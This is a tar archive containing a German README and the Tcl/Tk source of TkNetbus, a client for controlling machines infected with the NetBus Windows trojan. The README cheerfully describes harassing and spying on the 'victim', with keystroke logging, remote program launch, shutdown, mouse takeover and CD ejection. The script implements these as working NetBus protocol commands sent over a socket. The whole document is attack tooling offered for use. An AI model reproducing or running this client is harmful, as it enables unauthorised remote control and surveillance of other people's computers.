README100644 764 144 7127 6727030777 10650 0ustar stefanusers# ************************** # TKnetbus by Stefan Tomanek # ************************** # Für Vorschläge immer offen # //////tommie@gmx.net\\\\\\ Tknetbus ist ein Client für den Windows-Trojaner Netbus. Dabei handelt es sich um ein Programm, dass sich in einem Windows-System einnistet und über das Netzwerk auf Verbindungen wartet. Wird eine solche aufgebaut, kann der Rechner des Netbus-Opfers ferngesteuert werden. Dazu gehören sowohl Funktionen, die in erster Linie der nervlichen Zersetzung des Opfers dienen ;-), wie die Betätigung des CD-ROM Auswurfs oder die Vertauschung der Tasten, als auch Funktionen, die akute Sicherheitslöcher darstellen, wie der Start beliebiger Programme oder das Abschalten des Rechners. Die Installation ist denkbar einfach: Du musst die Datei einfach nach /usr/local/bin/ kopieren, und evtl. die erste Zeile des Programmes anpassen: Der Pfad muss zur tcl/tk-wish der Version 8 führen. Die Bedienung ist denkbar einfach: * Verbindung herstellen * Ein die oberen Textboxen werden IP- und Portnummer des Netbusservers eingegeben, in die darunter das Passwort. Ein Druck auf den großen rot-umrandeten Knopf wird die Verbindung aufgebaut: Der Knopf färbt sich grün. Nun können die Funktionen genutzt werden. * Passwort oder Portnummer ändern * Um das Passwort oder den Port zu ändern, wird das neue Passwort/die neue Portnummer einfach bei bestehender Verbindung in die Textboxen eingetragen. Ein Klick auf den gelb-umrandeten Knopf überträgt die Daten an den Server. * Sound und Programme starten * Um Programme oder Sounds auf dem Serverrechner zu starten, müssen diese erst mit dem "+"-Knopf in die Liste aufgenommen werden. Mit dem "-"-Knopf können diese wieder entfernt werden. Wenn sich die Dateien in der Liste befinden, können sie mit dem "!"-Knopf gestartet werden. Der "§"-Knopf speichert die Liste, so dass sie auch nach dem Beenden von TkNetbus erhalten bleibt. ######### Version-History ######### Version 0.2.1 Einige Bugfixes plus einige neue Features zeichnen den Sprung von 0.2 zu 0.2.1 aus Die Version 0.2.1 beherrscht folgende Funktionen zusätzlich: * "Abhörmöglichkeit" der Tastatur (Das Getippte erscheint im Netbusclient) * Sendkeys ist implementert, Tastendrücke können übermittelt werden Version 0.2 Die Version 0.2 beherrscht folgende Funktionen: * Anmeldung an Netbusservern (auch an Passwortgeschützten) * Änderung des Serversetups (Passwort & Port) * Vertauschung der Maustasten * Auswurf der CD-Schublade * Neustart des Systems * Ausloggen des Benutzers * Runterfahren des Systems * Ausführen beliebiger Anwendungen * Speicherbare Liste mit Applikationen * Abspielen beliebiger Sounddateien * Speicherbare Liste mit Sounddateien * Übernahme der Mauskontrolle TKNetbus benötigt TCL/TK in der Version >=8.0 Die Version 0.2 war die erste, die in c.o.l.a vorgestellt wurde, weshalb ich nun beginne, eine Version-History zu führen. Version 0.1 * Urversion, erste Experimente mit gesnifften Teilen des Protokolls * Mehr ein TCL/TK-Experiment als ein Programm TODO: + Dialogboxen + Screendump (Abbild des Bildschirminhalts übertragen) + Tastendrücke übertragen + Tastendrücke empfangen (Spionagemodus) + Viele nette Sachen... :-) Informationen: TCL/TK kann frei verwendet werden. Änderungen dürfen vorgenommen werden, es wäre aber nett, wenn ich eine Mail erhalten könnte (Man will ja wissen, wie sich sein Programm entwickelt). Neueste Versionen immer unter: http://computer.freepage.de/linux-azubi/ TKnetbus by Stefan Tomanek tknetbus100755 764 144 20240 6727027402 11553 0ustar stefanusers#!/usr/X11/bin/wish # # ******************************** # TKnetbus 0.2.1 by Stefan Tomanek # ******************************** # Für Vorschläge immer offen # //////tommie@gmx.net\\\\\\ global f global connected global STATUS global actbtnsr global actbtnsl global actbox global PASSWORT global ARCHIV wm title . "TkNetbus" set connected "false" button .plakette -relief groove -text "Über TkNetbus" -command { tk_dialog .d {Über TkNetbus} {TkNetbus 0.2.1 von Stefan Tomanek [tommie@gmx.net]} {} -1 {OK} } pack .plakette -side top -fill x frame .verbindung -relief groove -borderwidth 3 frame .verbindung.oben frame .verbindung.unten frame .aktionen -relief groove -borderwidth 3 frame .aktionen.rechts frame .aktionen.links pack .verbindung .aktionen -side top -fill y pack .verbindung.oben .verbindung.unten -in .verbindung -side top -fill both -padx 0 -pady 0 pack .aktionen.links .aktionen.rechts -side left -in .aktionen -pady 0 -padx 0 -fill both entry .verbindung.ip -textvariable IP -width 15 entry .verbindung.port -textvariable PORT -width 5 entry .verbindung.passwort -textvariable PASSWORT -width 5 -show "*" button .verbindung.verbinden -highlightbackground red -width 5 -text "" -command { .verbindung.verbinden flash verbinden $IP $PORT $PASSWORT } button .verbindung.setpass -highlightbackground yellow -width 5 -text "" -command { aktion "NewSetup;[.verbindung.port get];0;[.verbindung.passwort get];;;" } pack .verbindung.ip .verbindung.port .verbindung.verbinden -in .verbindung.oben -side left -padx 1 -fill x pack .verbindung.setpass .verbindung.passwort -side right -in .verbindung.unten -padx 1 -fill x # -------------Aktionen------------- button .aktionen.swapbutton -text "Maustasten tauschen" -command { checkstate .aktionen.swapbutton "Maustasten tauschen" "Maustasten normal" {SwapButton;1} {SwapButton;0} } button .aktionen.eject -text "CD-Schublade raus" -command { checkstate .aktionen.eject "CD-Schublade raus" "CD-Schublade rein" {Eject;1} {Eject;0} } button .aktionen.maus -text "Maussteuerung" -command {maus} button .aktionen.apps -text "Apps & Sounds" -command {apps} button .aktionen.logoff -text "Ausloggen" -command {aktion "ExitWin;1"} button .aktionen.shutdown -text "Runterfahren" -command {aktion "ExitWin;4"} button .aktionen.reboot -text "Neustart" -command {aktion "ExitWin;3"} button .aktionen.listen -text "Abhören" -command {listen} button .aktionen.write -text "Text senden" -command {writetext} button .aktionen.note -text "Nachricht" -command {nachricht} set actbtnsl {.aktionen.swapbutton .aktionen.eject .aktionen.maus .aktionen.apps .aktionen.listen} set actbtnsr {.aktionen.note .aktionen.reboot .aktionen.logoff .aktionen.shutdown .aktionen.write} eval pack $actbtnsl -in .aktionen.links -side top -pady 0 -padx 0 -fill both eval pack "$actbtnsr .aktionen.note" -in .aktionen.rechts -side top -pady 0 -padx 0 -fill both entry .status -textvariable STATUS -state disabled pack .status -fill x -side bottom proc verbinden {IP PORT PASSWORT } { global f global connected global STATUS if {$connected=="true"} { close $f set STATUS "" set connected "false" .verbindung.verbinden configure -highlightbackground red actions disabled } else { set f [socket $IP $PORT] set l [gets $f] set STATUS $l set connected "true" puts $f "Password;0;$PASSWORT" puts $f /n flush $f .verbindung.verbinden configure -highlightbackground green update idletasks actions normal } } proc aktion {befehl} { global f puts $f $befehl puts $f /n flush $f fileevent $f readable {gets $f} } proc checkstate {item text1 text2 command1 command2} { if {[$item cget -text] == $text1} then { aktion $command1 $item configure -text $text2 $item flash } else { aktion $command2 $item configure -text $text1 $item flash } } proc selectfile {} { toplevel .filebox wm title .filebox "Datei:" radiobutton .filebox.sound -text "Audiodatei" -variable TYPE -value "Audiodatei" radiobutton .filebox.prog -text "Programm" -variable TYPE -value "Programm" entry .filebox.filebox pack .filebox.sound .filebox.prog pack .filebox.filebox -side top button .filebox.ok -text "Hinzufügen" -command { .archive.dateien insert 0 "{[.filebox.filebox get]} $TYPE" destroy .filebox } button .filebox.cancel -text "Schließen" -command "destroy .filebox" pack .filebox.ok .filebox.cancel -side top } proc apps {} { toplevel .archive wm title .archive "Programme & Sounds" listbox .archive.dateien -xscrollcommand ".archive.scrollx set" -width 50 scrollbar .archive.scrollx -command ".archive.dateien xview" -orient horizontal scrollbar .archive.scrolly -command ".archive.dateien yview" -orient vertical frame .archive.buttons button .archive.buttons.neu -width 1 -text "+" -command {selectfile} button .archive.buttons.del -width 1 -text "-" -command {.archive.dateien delete [.archive.dateien curselection]} button .archive.buttons.save -width 1 -text "§" -command { set conffile [open ~/.tknetbus w] writeconf close $conffile } button .archive.buttons.exec -width 1 -text "!" -command { if {[lindex [.archive.dateien get [.archive.dateien curselection]] 1] \ !="Programm"} then { aktion \ "SoundPlay\;[lindex [.archive.dateien get [.archive.dateien curselection]] 0]" } else { aktion \ "StartApp\;[lindex [.archive.dateien get [.archive.dateien curselection]] 0]" } } pack .archive.scrollx -fill x -in .archive -side bottom pack .archive.buttons -fill x -in .archive -side top pack .archive.dateien -fill x -in .archive -side left -fill x pack .archive.scrolly -fill y -in .archive -side right pack .archive.buttons.neu .archive.buttons.exec .archive.buttons.save .archive.buttons.del -in .archive.buttons -side left global conffile set conffile [open ~/.tknetbus] readconf close $conffile } proc maus {} { toplevel .maus wm title .maus "Maussteuerung" frame .maus.top canvas .maus.screen -relief groove -height 48 -width 64 -borderwidth 2 -highlightbackground "green" # pack .maus.top -in .maus -side top pack .maus.screen -in .maus entry .maus.xko -textvariable xko entry .maus.yko -textvariable yko bind .maus.screen { set xko [expr "%x*10"] set yko [expr "%y*10"] aktion "SetMousePos;[expr %x*10];[expr %y*10]" } pack .maus.xko .maus.yko -in .maus -side bottom } proc nachricht {} { toplevel .nachricht wm title .nachricht "Nachricht senden:" entry .nachricht.message -width 20 button .nachricht.senden -text "Senden" -command {aktion "Message;0;[.nachricht.message get];Warning;48;"} pack .nachricht.message .nachricht.senden -in .nachricht -side left } proc writetext {} { toplevel .write wm title .write "Text senden:" entry .write.message -width 20 button .write.senden -text "Senden" -command {aktion "SendKeys;0;[.write.message get];Warning;48;"} pack .write.message .write.senden -in .write -side left } proc listen {} { global WANZE global DRUCK toplevel .listen wm title .listen "Abhören:" text .listen.message -width 20 -height 20 checkbutton .listen.switch -text "AN/AUS" -command "wanzen" -variable WANZE -onvalue "true" pack .listen.message .listen.switch -in .listen -side left } proc wanzen {} { global WANZE global DRUCK global f set DRUCK "Los!" aktion "Listen;1" while {$WANZE == "true"} { update fileevent $f readable { gets $f TEMP .listen.message insert end [lindex [lindex [split $TEMP \; ] 2] end] # puts [split $TEMP \; ] } update idletasks } aktion "Listen;0" } proc actions {state} { global actbtnsl global actbtnsr foreach i "$actbtnsl $actbtnsr" { # $i flash $i configure -state $state update idletasks update # $i flash } } proc readconf {} { global conffile global DUMMY gets $conffile DUMMY if {$DUMMY == ""} then {} else { .archive.dateien insert 0 $DUMMY puts $DUMMY readconf } } proc writeconf {} { global conffile foreach i [.archive.dateien get 0 [.archive.dateien size]] { puts $conffile $i } } foreach i "$actbtnsr $actbtnsl" { $i configure -state disabled -width 20 }